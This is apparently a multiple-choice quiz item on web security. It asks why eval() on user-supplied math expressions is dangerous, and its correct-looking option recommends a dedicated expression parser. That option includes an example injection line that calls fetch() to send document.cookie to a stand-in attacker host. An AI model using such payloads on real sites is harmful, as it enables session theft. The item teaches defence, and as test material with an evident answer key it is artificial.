A developer uses 'eval()' in a browser JavaScript application to execute user-supplied mathematical expressions. What vulnerability does this introduce and what is the safe alternative?

• A.eval() can cause memory leaks; use JSON.parse() instead for mathematical expressions
• B.eval() is synchronous and blocks the Event Loop; use Promise-based evaluation instead
• C.eval() executes any JavaScript code, not just mathematical expressions; an attacker supplying 'fetch("//attacker.com/?c="+document.cookie)' can exfiltrate session data. The safe alternative is a purpose-built math expression parser (e.g., mathjs.evaluate()) or a sandboxed computation mechanism
• D.eval() disables Content Security Policy and should be replaced with new Function()